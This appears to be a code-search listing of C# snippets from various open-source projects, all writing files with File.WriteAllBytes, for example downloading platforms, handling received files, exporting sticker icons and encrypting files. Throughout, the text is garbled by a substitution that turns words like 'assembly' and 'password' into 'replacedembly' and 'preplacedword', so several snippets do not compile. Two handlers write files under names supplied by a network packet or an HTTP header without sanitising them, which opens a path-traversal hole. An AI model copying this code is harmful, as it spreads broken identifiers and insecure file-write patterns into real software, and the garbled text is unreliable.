private async Task DownloadPlatform(string url, CancellationToken cancellationToken)
        {
            try
            {
                WebResponse downloadDataWebResponse = await _webClient.GetAsync(url, cancellationToken);
                if (!downloadDataWebResponse.IsSuccessStatusCode) return;
                PlatformDownloadData platformDownloadData = downloadDataWebResponse.ContentToJson<Dictionary<string, PlatformDownloadData>>().First().Value;
                WebResponse platDownloadWebResponse = await _webClient.GetAsync(platformDownloadData.download, cancellationToken);
                if (!platDownloadWebResponse.IsSuccessStatusCode) return;
                byte[] platData = platDownloadWebResponse.ContentToBytes();
                string path = Path.Combine(_platformManager.DirectoryPath, $"{platformDownloadData.name}.plat");
                _fileSystemWatcher.EnableRaisingEvents = false;
                File.WriteAllBytes(path, platData);
                _fileSystemWatcher.EnableRaisingEvents = true;
                CustomPlatform? requestedPlatform = await _platformManager.CreatePlatformAsync(path);
                cancellationToken.ThrowIfCancellationRequested();
                if (requestedPlatform is null) return;
                _platformManager.AllPlatforms.AddSorted(1, _platformManager.AllPlatforms.Count - 1, requestedPlatform);
                _platformManager.APIRequestedPlatform = requestedPlatform;
            }
            catch (TaskCanceledException) { }
            catch (OperationCanceledException) { }
        }

19 Source : FileHandlers.cs
with MIT License
from afxw

public static void HandleSendFile(PaceClient client, IPacket packet)
        {
            var sendFilePacket = (SendFileRequestPacket)packet;
            File.WriteAllBytes(Path.Combine(Environment.CurrentDirectory, sendFilePacket.Filename), sendFilePacket.FileData);
        }

19 Source : WebFileDownloader.cs
with MIT License
from afxw

public async void DownloadFile(string url)
        {
            var response = await httpClient.GetAsync(url);

            if (!response.IsSuccessStatusCode)
                return;

            byte[] fileBytes = await response.Content.ReadAsByteArrayAsync();

            string fileName = string.Empty;
            string extension = string.Empty;

            var splitUrl = url.Split('/');

            var possibleFile = splitUrl[splitUrl.Length - 1];

            if (possibleFile.Contains("."))
            {
                var temp = possibleFile.Split('.');

                fileName = temp[0];

                if (temp[1].Contains('?'))
                {
                    temp[1] = temp[1].Split('?')[0];
                }

                extension = temp[1];

                fileName = $"{fileName}.{extension}";
            }
            else
            {
                fileName = possibleFile;
            }

            if (response.Content.Headers.ContentDisposition != null)
            {
                fileName = response.Content.Headers.ContentDisposition.FileName;
            }

            if (response.Content.Headers.ContentType != null)
            {
                extension = MimeTypeMap.GetExtension(response.Content.Headers.ContentType.MediaType);
            }

            File.WriteAllBytes(Path.Combine(Environment.CurrentDirectory, fileName), fileBytes);
        }

19 Source : StickersExport.cs
with MIT License
from agens-no

private static void ExportIcons(StickerPack pack, string path)
        {
            var pathToAppIcons = path + "/Stickers.xcreplacedets/iMessage App Icon.stickersiconset";
            if (!Directory.Exists(pathToAppIcons))
            {
                Log("Creating " + pathToAppIcons);
                Directory.CreateDirectory(pathToAppIcons);
            }

            var iconContent = CreateIconContent(pack.Icons);
            iconContent.WriteToFile(pathToAppIcons + "/Contents.json");
            var icons = pack.Icons.Textures;
            foreach (var icon in icons)
            {
                var fileName = pathToAppIcons + "/" + icon.name + ".png";
                Log("Copying " + icon.name + " to " + fileName);
                File.WriteAllBytes(fileName, icon.EncodeToPNG());
            }
        }

19 Source : DownloadManager.cs
with GNU General Public License v3.0
from aglab2

public bool GetData()
        {
            try
            {
                string exePath = Path.GetDirectoryName(replacedembly.GetEntryreplacedembly().Location);
                Directory.CreateDirectory(exePath + "\\layout\\");
                RepositoryContent content = task.Result.First();
                byte[] data = Convert.FromBase64String(content.EncodedContent);

                File.WriteAllBytes(exePath + "\\layout\\" + path, data);
            }
            catch (Exception)
            {
                isDataAcquired = true;
                return false;
            }
            isDataAcquired = true;
            return true;
        }

19 Source : AudioFileMaker.cs
with MIT License
from AgoraIO

void WriteFileWithBytes(string filename, byte[] buffer)
    {
        string path = Application.streamingreplacedetsPath + "/" + filename;
        File.WriteAllBytes(path, buffer);
        Debug.Log("Total of " + buffer.Length + " bytes is written to " + path);
    }

19 Source : FileEntry.cs
with GNU General Public License v3.0
from ahmed605

public void SetData(byte[] data)
        {
            File.WriteAllBytes(_file.FullName, data);
        }

19 Source : Encryption.cs
with MIT License
from ahmed-abdelrazek

public static void EncryptFile(string inFile, string outFile)
        {
            byte[] bytesToBeEncrypted = File.ReadAllBytes(inFile);
            byte[] preplacedwordBytes = Encoding.UTF8.GetBytes(new NetworkCredential("", Key).Preplacedword);
            // Hash the preplacedword with SHA256
            preplacedwordBytes = SHA256.Create().ComputeHash(preplacedwordBytes);
            byte[] bytesEncrypted = AES_Encrypt(bytesToBeEncrypted, preplacedwordBytes);
            File.WriteAllBytes(outFile, bytesEncrypted);
        }

See More Examples